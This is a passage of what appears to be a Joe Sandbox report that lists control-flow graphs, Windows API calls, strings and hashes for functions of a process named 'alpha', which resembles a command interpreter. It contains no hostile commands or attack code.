                                                    control_flow_graph 821 7ff6bf3e37d8-7ff6bf3e3887 GetCurrentThreadId OpenThread call 7ff6bf3e04f4 HeapSetInformation RegOpenKeyExW 824 7ff6bf3e388d-7ff6bf3e38eb call 7ff6bf3e5920 GetConsoleOutputCP GetCPInfo 821->824 825 7ff6bf3ee9f8-7ff6bf3eea3b RegQueryValueExW RegCloseKey 821->825 828 7ff6bf3eea41-7ff6bf3eea59 GetThreadLocale 824->828 829 7ff6bf3e38f1-7ff6bf3e3913 memset 824->829 825->828 830 7ff6bf3eea74-7ff6bf3eea77 828->830 831 7ff6bf3eea5b-7ff6bf3eea67 828->831 832 7ff6bf3eeaa5 829->832 833 7ff6bf3e3919-7ff6bf3e3935 call 7ff6bf3e4d5c 829->833 834 7ff6bf3eea94-7ff6bf3eea96 830->834 835 7ff6bf3eea79-7ff6bf3eea7d 830->835 831->830 838 7ff6bf3eeaa8-7ff6bf3eeab4 832->838 842 7ff6bf3eeae2-7ff6bf3eeaff call 7ff6bf3d3240 call 7ff6bf3f8530 call 7ff6bf3e4c1c 833->842 843 7ff6bf3e393b-7ff6bf3e3942 833->843 834->832 835->834 837 7ff6bf3eea7f-7ff6bf3eea89 835->837 837->834 838->833 840 7ff6bf3eeaba-7ff6bf3eeac3 838->840 841 7ff6bf3eeacb-7ff6bf3eeace 840->841 844 7ff6bf3eeac5-7ff6bf3eeac9 841->844 845 7ff6bf3eead0-7ff6bf3eeadb 841->845 853 7ff6bf3eeb00-7ff6bf3eeb0d 842->853 847 7ff6bf3eeb27-7ff6bf3eeb40 _setjmp 843->847 848 7ff6bf3e3948-7ff6bf3e3962 _setjmp 843->848 844->841 845->838 851 7ff6bf3eeadd 845->851 849 7ff6bf3e39fe-7ff6bf3e3a05 call 7ff6bf3e4c1c 847->849 850 7ff6bf3eeb46-7ff6bf3eeb49 847->850 848->853 854 7ff6bf3e3968-7ff6bf3e396d 848->854 849->825 856 7ff6bf3eeb4b-7ff6bf3eeb65 call 7ff6bf3d3240 call 7ff6bf3f8530 call 7ff6bf3e4c1c 850->856 857 7ff6bf3eeb66-7ff6bf3eeb6f call 7ff6bf3e01b8 850->857 851->833 867 7ff6bf3eeb15-7ff6bf3eeb1f call 7ff6bf3e4c1c 853->867 859 7ff6bf3e396f 854->859 860 7ff6bf3e39b9-7ff6bf3e39bb 854->860 856->857 880 7ff6bf3eeb71-7ff6bf3eeb82 _setmode 857->880 881 7ff6bf3eeb87-7ff6bf3eeb89 call 7ff6bf3e86f0 857->881 868 7ff6bf3e3972-7ff6bf3e397d 859->868 863 7ff6bf3eeb20 860->863 864 7ff6bf3e39c1-7ff6bf3e39c3 call 7ff6bf3e4c1c 860->864 863->847 877 7ff6bf3e39c8 864->877 867->863 874 7ff6bf3e397f-7ff6bf3e3984 868->874 875 7ff6bf3e39c9-7ff6bf3e39de call 7ff6bf3ddf60 868->875 874->868 883 7ff6bf3e3986-7ff6bf3e39ae call 7ff6bf3e0580 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 874->883 875->867 891 7ff6bf3e39e4-7ff6bf3e39e8 875->891 877->875 880->881 888 7ff6bf3eeb8e-7ff6bf3eebad call 7ff6bf3e58e4 call 7ff6bf3ddf60 881->888 897 7ff6bf3e39b3 883->897 902 7ff6bf3eebaf-7ff6bf3eebb3 888->902 891->849 895 7ff6bf3e39ea-7ff6bf3e39ef call 7ff6bf3dbe00 891->895 900 7ff6bf3e39f4-7ff6bf3e39fc 895->900 897->860 900->874 902->849 903 7ff6bf3eebb9-7ff6bf3eec24 call 7ff6bf3e58e4 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 call 7ff6bf3dbe00 call 7ff6bf3e0580 GetConsoleOutputCP GetCPInfo call 7ff6bf3e04f4 902->903 903->888
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
                                                    • String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
                                                    • API String ID: 2624720099-1920437939
                                                    • Opcode ID: 9a4cddc928fe4c71fd6c761995599b2788caccd561f5d3a8cbf937f1688b90ea
                                                    • Instruction ID: dfd23d19b84d5fca9ab583678d79ecbbdb2b7bfb42872d31645199d260b44097
                                                    • Opcode Fuzzy Hash: 9a4cddc928fe4c71fd6c761995599b2788caccd561f5d3a8cbf937f1688b90ea
                                                    • Instruction Fuzzy Hash: 76C1AC31E186428AF7149BFCA4402B97BA0EF49704F149139DB1EDBBB2DE7CA8548790
                                                    Function 00007FF6BF3E823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1118 7ff6bf3e823c-7ff6bf3e829b FindFirstFileExW 1119 7ff6bf3e82cd-7ff6bf3e82df 1118->1119 1120 7ff6bf3e829d-7ff6bf3e82a9 GetLastError 1118->1120 1124 7ff6bf3e8365-7ff6bf3e837b FindNextFileW 1119->1124 1125 7ff6bf3e82e5-7ff6bf3e82ee 1119->1125 1121 7ff6bf3e82af 1120->1121 1122 7ff6bf3e82b1-7ff6bf3e82cb 1121->1122 1126 7ff6bf3e83d0-7ff6bf3e83e5 FindClose 1124->1126 1127 7ff6bf3e837d-7ff6bf3e8380 1124->1127 1128 7ff6bf3e82f1-7ff6bf3e82f4 1125->1128 1126->1128 1127->1119 1129 7ff6bf3e8386 1127->1129 1130 7ff6bf3e8329-7ff6bf3e832b 1128->1130 1131 7ff6bf3e82f6-7ff6bf3e8300 1128->1131 1129->1120 1130->1121 1134 7ff6bf3e832d 1130->1134 1132 7ff6bf3e8332-7ff6bf3e8353 GetProcessHeap HeapAlloc 1131->1132 1133 7ff6bf3e8302-7ff6bf3e830e 1131->1133 1137 7ff6bf3e8356-7ff6bf3e8363 1132->1137 1135 7ff6bf3e8310-7ff6bf3e8313 1133->1135 1136 7ff6bf3e838b-7ff6bf3e83c2 GetProcessHeap HeapReAlloc 1133->1136 1134->1120 1140 7ff6bf3e8315-7ff6bf3e8323 1135->1140 1141 7ff6bf3e8327 1135->1141 1138 7ff6bf3f50f8-7ff6bf3f511e GetLastError FindClose 1136->1138 1139 7ff6bf3e83c8-7ff6bf3e83ce 1136->1139 1137->1135 1138->1122 1139->1137 1140->1141 1141->1130
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileFindFirstLast
                                                    • String ID:
                                                    • API String ID: 873889042-0
                                                    • Opcode ID: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                    • Instruction ID: 883489bbc0a1565ab60bb6612d34b41fdcff062301b281eada77ce71356f8f2c
                                                    • Opcode Fuzzy Hash: 9fa4dae725f9512e7002593702cffe0a246d57342299abf5542ad382d0469498
                                                    • Instruction Fuzzy Hash: B5516E36A09B42C6E7108F99E4441B97BA0FF9AB91F489531CB1E873B1CF3CE9658744
                                                    Function 00007FF6BF3E2978 Relevance: 9.1, APIs: 6, Instructions: 138COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1142 7ff6bf3e2978-7ff6bf3e29b6 1143 7ff6bf3e29b9-7ff6bf3e29c1 1142->1143 1143->1143 1144 7ff6bf3e29c3-7ff6bf3e29c5 1143->1144 1145 7ff6bf3ee441 1144->1145 1146 7ff6bf3e29cb-7ff6bf3e29cf 1144->1146 1147 7ff6bf3e29d2-7ff6bf3e29da 1146->1147 1148 7ff6bf3e2a1e-7ff6bf3e2a3e FindFirstFileW 1147->1148 1149 7ff6bf3e29dc-7ff6bf3e29e1 1147->1149 1151 7ff6bf3ee435-7ff6bf3ee439 1148->1151 1152 7ff6bf3e2a44-7ff6bf3e2a5c FindClose 1148->1152 1149->1148 1150 7ff6bf3e29e3-7ff6bf3e29eb 1149->1150 1150->1147 1153 7ff6bf3e29ed-7ff6bf3e2a1c call 7ff6bf3e8f80 1150->1153 1151->1145 1154 7ff6bf3e2ae3-7ff6bf3e2ae5 1152->1154 1155 7ff6bf3e2a62-7ff6bf3e2a6e 1152->1155 1156 7ff6bf3e2aeb-7ff6bf3e2b10 _wcsnicmp 1154->1156 1157 7ff6bf3ee3f7-7ff6bf3ee3ff 1154->1157 1159 7ff6bf3e2a70-7ff6bf3e2a78 1155->1159 1156->1155 1160 7ff6bf3e2b16-7ff6bf3ee3f1 _wcsicmp 1156->1160 1159->1159 1162 7ff6bf3e2a7a-7ff6bf3e2a8d 1159->1162 1160->1155 1160->1157 1162->1145 1164 7ff6bf3e2a93-7ff6bf3e2a97 1162->1164 1165 7ff6bf3ee404-7ff6bf3ee407 1164->1165 1166 7ff6bf3e2a9d-7ff6bf3e2ade memmove call 7ff6bf3e13e0 1164->1166 1168 7ff6bf3ee40b-7ff6bf3ee413 1165->1168 1166->1150 1168->1168 1170 7ff6bf3ee415-7ff6bf3ee42b memmove 1168->1170 1170->1151
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                    • Instruction ID: ff32b54fe1ea4c0991d9ec31bb3a2aa6060446525bc17ca439c1eee8efae9963
                                                    • Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
                                                    • Instruction Fuzzy Hash: 23510A71F2868285EB308F99A5442BAA790FF54BA4F455230DF6D8BBE1DF3CE8458740
                                                    Function 00007FF6BF3E4D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268memorylibraryloaderCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 643 7ff6bf3e4d5c-7ff6bf3e4e4b InitializeCriticalSection call 7ff6bf3e58e4 SetConsoleCtrlHandler _get_osfhandle GetConsoleMode _get_osfhandle GetConsoleMode call 7ff6bf3e0580 call 7ff6bf3e4a14 call 7ff6bf3e4ad0 call 7ff6bf3e5554 GetCommandLineW 654 7ff6bf3e4e4d-7ff6bf3e4e54 643->654 654->654 655 7ff6bf3e4e56-7ff6bf3e4e61 654->655 656 7ff6bf3e51cf-7ff6bf3e51e3 call 7ff6bf3d3278 call 7ff6bf3e4c1c 655->656 657 7ff6bf3e4e67-7ff6bf3e4e7b call 7ff6bf3e2e44 655->657 662 7ff6bf3e4e81-7ff6bf3e4ec3 GetCommandLineW call 7ff6bf3e13e0 call 7ff6bf3dca40 657->662 663 7ff6bf3e51ba-7ff6bf3e51ce call 7ff6bf3d3278 call 7ff6bf3e4c1c 657->663 662->663 674 7ff6bf3e4ec9-7ff6bf3e4ee8 call 7ff6bf3e417c call 7ff6bf3e2394 662->674 663->656 678 7ff6bf3e4eed-7ff6bf3e4ef5 674->678 678->678 679 7ff6bf3e4ef7-7ff6bf3e4f1f call 7ff6bf3daa54 678->679 682 7ff6bf3e4f95-7ff6bf3e4fee GetConsoleOutputCP GetCPInfo call 7ff6bf3e51ec GetProcessHeap HeapAlloc 679->682 683 7ff6bf3e4f21-7ff6bf3e4f30 679->683 689 7ff6bf3e5012-7ff6bf3e5018 682->689 690 7ff6bf3e4ff0-7ff6bf3e5006 GetConsoleTitleW 682->690 683->682 685 7ff6bf3e4f32-7ff6bf3e4f39 683->685 685->682 686 7ff6bf3e4f3b-7ff6bf3e4f77 call 7ff6bf3d3278 GetWindowsDirectoryW 685->686 695 7ff6bf3e51b1-7ff6bf3e51b9 call 7ff6bf3e4c1c 686->695 696 7ff6bf3e4f7d-7ff6bf3e4f90 call 7ff6bf3e3c24 686->696 693 7ff6bf3e507a-7ff6bf3e507e 689->693 694 7ff6bf3e501a-7ff6bf3e5024 call 7ff6bf3e3578 689->694 690->689 692 7ff6bf3e5008-7ff6bf3e500f 690->692 692->689 697 7ff6bf3e5080-7ff6bf3e50b3 call 7ff6bf3fb89c call 7ff6bf3d586c call 7ff6bf3d3240 call 7ff6bf3e3448 693->697 698 7ff6bf3e50eb-7ff6bf3e5161 GetModuleHandleW GetProcAddress * 3 693->698 694->693 709 7ff6bf3e5026-7ff6bf3e5030 694->709 695->663 696->682 724 7ff6bf3e50d2-7ff6bf3e50d7 call 7ff6bf3d3278 697->724 725 7ff6bf3e50b5-7ff6bf3e50d0 call 7ff6bf3e3448 * 2 697->725 702 7ff6bf3e5163-7ff6bf3e5167 698->702 703 7ff6bf3e516f 698->703 702->703 707 7ff6bf3e5169-7ff6bf3e516d 702->707 708 7ff6bf3e5172-7ff6bf3e51af free call 7ff6bf3e8f80 703->708 707->703 707->708 713 7ff6bf3e5032-7ff6bf3e5059 GetStdHandle GetConsoleScreenBufferInfo 709->713 714 7ff6bf3e5075 call 7ff6bf3fcff0 709->714 715 7ff6bf3e505b-7ff6bf3e5067 713->715 716 7ff6bf3e5069-7ff6bf3e5073 713->716 714->693 715->693 716->693 716->714 729 7ff6bf3e50dc-7ff6bf3e50e6 GlobalFree 724->729 725->729 729->698
                                                    APIs
                                                    • InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4D9A
                                                      • Part of subcall function 00007FF6BF3E58E4: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FF6BF3FC6DB), ref: 00007FF6BF3E58EF
                                                    • SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4DBB
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E4DCA
                                                    • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4DE0
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3E4DEE
                                                    • GetConsoleMode.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E04
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E0589
                                                      • Part of subcall function 00007FF6BF3E0580: SetConsoleMode.KERNELBASE ref: 00007FF6BF3E059E
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E05AF
                                                      • Part of subcall function 00007FF6BF3E0580: GetConsoleMode.KERNELBASE ref: 00007FF6BF3E05C5
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E05EF
                                                      • Part of subcall function 00007FF6BF3E0580: GetConsoleMode.KERNELBASE ref: 00007FF6BF3E0605
                                                      • Part of subcall function 00007FF6BF3E0580: _get_osfhandle.MSVCRT ref: 00007FF6BF3E0632
                                                      • Part of subcall function 00007FF6BF3E0580: SetConsoleMode.KERNELBASE ref: 00007FF6BF3E0647
                                                      • Part of subcall function 00007FF6BF3E4A14: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A28
                                                      • Part of subcall function 00007FF6BF3E4A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A66
                                                      • Part of subcall function 00007FF6BF3E4A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A7D
                                                      • Part of subcall function 00007FF6BF3E4A14: memmove.MSVCRT(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A9A
                                                      • Part of subcall function 00007FF6BF3E4A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4AA2
                                                      • Part of subcall function 00007FF6BF3E4AD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AD6
                                                      • Part of subcall function 00007FF6BF3E4AD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3D8798), ref: 00007FF6BF3E4AEF
                                                      • Part of subcall function 00007FF6BF3E5554: RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF6BF3E4E35), ref: 00007FF6BF3E55DA
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5623
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5667
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E56BE
                                                      • Part of subcall function 00007FF6BF3E5554: RegQueryValueExW.KERNELBASE ref: 00007FF6BF3E5702
                                                    • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E35
                                                    • GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4E81
                                                    • GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4F69
                                                    • GetConsoleOutputCP.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4F95
                                                    • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FB0
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FC1
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FD8
                                                    • GetConsoleTitleW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E4FF8
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5037
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E504B
                                                    • GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E50DF
                                                    • GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E50F2
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E510F
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5130
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E514A
                                                    • free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF6BF3E5175
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Mode_get_osfhandle$Heap$QueryValue$AddressAllocHandleProcProcess$CommandCriticalEnvironmentFreeInfoLineLockSectionSharedStrings$AcquireBufferCtrlDirectoryEnterFileGlobalHandlerInitializeModuleOpenOutputReleaseScreenTitleTypeWindowsfreememmove
                                                    • String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
                                                    • API String ID: 1049357271-3021193919
                                                    • Opcode ID: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                    • Instruction ID: 116be74e411a83fdfea425124272a9ea15056568ddcf69347da2b6fa23264165
                                                    • Opcode Fuzzy Hash: d2460cf6989233a7a4462fbac63f5e4cbe638dcbee7ad3df93fe443bd3d09fd5
                                                    • Instruction Fuzzy Hash: 97C1B831A18B4296FA449BE8E8001797BA0FF89B90F049135DB0ECB7B6DF7CE9558350
                                                    Function 00007FF6BF3E3C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 732 7ff6bf3e3c24-7ff6bf3e3c61 733 7ff6bf3eec5a-7ff6bf3eec5f 732->733 734 7ff6bf3e3c67-7ff6bf3e3c99 call 7ff6bf3daf14 call 7ff6bf3dca40 732->734 733->734 736 7ff6bf3eec65-7ff6bf3eec6a 733->736 743 7ff6bf3e3c9f-7ff6bf3e3cb2 call 7ff6bf3db900 734->743 744 7ff6bf3eec97-7ff6bf3eeca1 call 7ff6bf3e855c 734->744 738 7ff6bf3e412e-7ff6bf3e415b call 7ff6bf3e8f80 736->738 743->744 749 7ff6bf3e3cb8-7ff6bf3e3cbc 743->749 750 7ff6bf3e3cbf-7ff6bf3e3cc7 749->750 750->750 751 7ff6bf3e3cc9-7ff6bf3e3ccd 750->751 752 7ff6bf3e3cd2-7ff6bf3e3cd8 751->752 753 7ff6bf3e3ce5-7ff6bf3e3d62 GetCurrentDirectoryW towupper iswalpha 752->753 754 7ff6bf3e3cda-7ff6bf3e3cdf 752->754 756 7ff6bf3e3fb8 753->756 757 7ff6bf3e3d68-7ff6bf3e3d6c 753->757 754->753 755 7ff6bf3e3faa-7ff6bf3e3fb3 754->755 755->752 759 7ff6bf3e3fc6-7ff6bf3e3fec GetLastError call 7ff6bf3e855c call 7ff6bf3ea5d6 756->759 757->756 758 7ff6bf3e3d72-7ff6bf3e3dcd towupper GetFullPathNameW 757->758 758->759 760 7ff6bf3e3dd3-7ff6bf3e3ddd 758->760 763 7ff6bf3e3ff1-7ff6bf3e4007 call 7ff6bf3e855c _local_unwind 759->763 762 7ff6bf3e3de3-7ff6bf3e3dfb 760->762 760->763 765 7ff6bf3e40fe-7ff6bf3e4119 call 7ff6bf3e855c _local_unwind 762->765 766 7ff6bf3e3e01-7ff6bf3e3e11 762->766 774 7ff6bf3e400c-7ff6bf3e4022 GetLastError 763->774 775 7ff6bf3e411a-7ff6bf3e412c call 7ff6bf3dff70 call 7ff6bf3e855c 765->775 766->765 770 7ff6bf3e3e17-7ff6bf3e3e28 766->770 773 7ff6bf3e3e2c-7ff6bf3e3e34 770->773 773->773 776 7ff6bf3e3e36-7ff6bf3e3e3f 773->776 777 7ff6bf3e3e95-7ff6bf3e3e9c 774->777 778 7ff6bf3e4028-7ff6bf3e402b 774->778 775->738 782 7ff6bf3e3e42-7ff6bf3e3e55 776->782 779 7ff6bf3e3ecf-7ff6bf3e3ed3 777->779 780 7ff6bf3e3e9e-7ff6bf3e3ec2 call 7ff6bf3e2978 777->780 778->777 783 7ff6bf3e4031-7ff6bf3e4047 call 7ff6bf3e855c _local_unwind 778->783 785 7ff6bf3e3ed5-7ff6bf3e3ef7 GetFileAttributesW 779->785 786 7ff6bf3e3f08-7ff6bf3e3f0b 779->786 791 7ff6bf3e3ec7-7ff6bf3e3ec9 780->791 788 7ff6bf3e3e57-7ff6bf3e3e60 782->788 789 7ff6bf3e3e66-7ff6bf3e3e8f GetFileAttributesW 782->789 799 7ff6bf3e404c-7ff6bf3e4062 call 7ff6bf3e855c _local_unwind 783->799 792 7ff6bf3e3efd-7ff6bf3e3f02 785->792 793 7ff6bf3e4067-7ff6bf3e4098 GetLastError call 7ff6bf3e855c _local_unwind 785->793 795 7ff6bf3e3f1e-7ff6bf3e3f40 SetCurrentDirectoryW 786->795 796 